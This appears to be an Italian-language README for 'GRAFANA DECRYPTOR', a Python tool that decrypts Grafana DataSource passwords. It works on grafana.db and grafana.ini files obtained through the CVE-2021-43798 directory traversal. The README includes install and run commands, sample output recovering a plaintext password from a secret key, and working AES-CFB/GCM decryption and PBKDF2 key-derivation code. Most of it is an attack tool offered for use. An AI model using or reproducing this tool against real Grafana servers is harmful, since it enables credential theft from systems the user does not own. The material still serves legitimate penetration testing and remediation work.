
Decripta le password DataSource di Grafana sfruttando la directory traversal CVE-2021-43798 per recuperare i file di configurazione e derivare le chiavi di crittografia.
Questo script decripta le password delle DataSource da un'istanza Grafana vulnerabile a CVE-2021-43798, che consente la lettura non autorizzata di file arbitrari.
Le versioni di Grafana dalla 8.0.0-beta1 alla 8.3.0 sono vulnerabili a una vulnerabilità di directory traversal che consente a utenti non autorizzati di leggere file arbitrari sul server. Questo script sfrutta questa vulnerabilità per decriptare le password delle DataSource trovate nel file grafana.db utilizzando la secret_key trovata nel file di configurazione grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db e grafana.ini dall'istanza Grafana di destinazione.python decrypt.py
Puoi anche codificare una password in chiaro usando lo script decommentando il codice di esempio nello script.
Lo script determina l'algoritmo di crittografia utilizzato analizzando il payload. L'algoritmo di crittografia predefinito è aes-cfb.
Utilizzando l'algoritmo di crittografia derivato e la secret_key da grafana.ini, lo script decripta la password della DataSource.
Lo script include anche la funzionalità per criptare una password in chiaro usando lo stesso metodo di crittografia e la stessa secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Queste funzioni gestiscono i processi di decriptazione e criptazione.
Sentiti libero di aprire issue o pull request se trovi bug o hai suggerimenti per miglioramenti.
Questo progetto è concesso in licenza con la licenza MIT. Vedi il file LICENSE per i dettagli.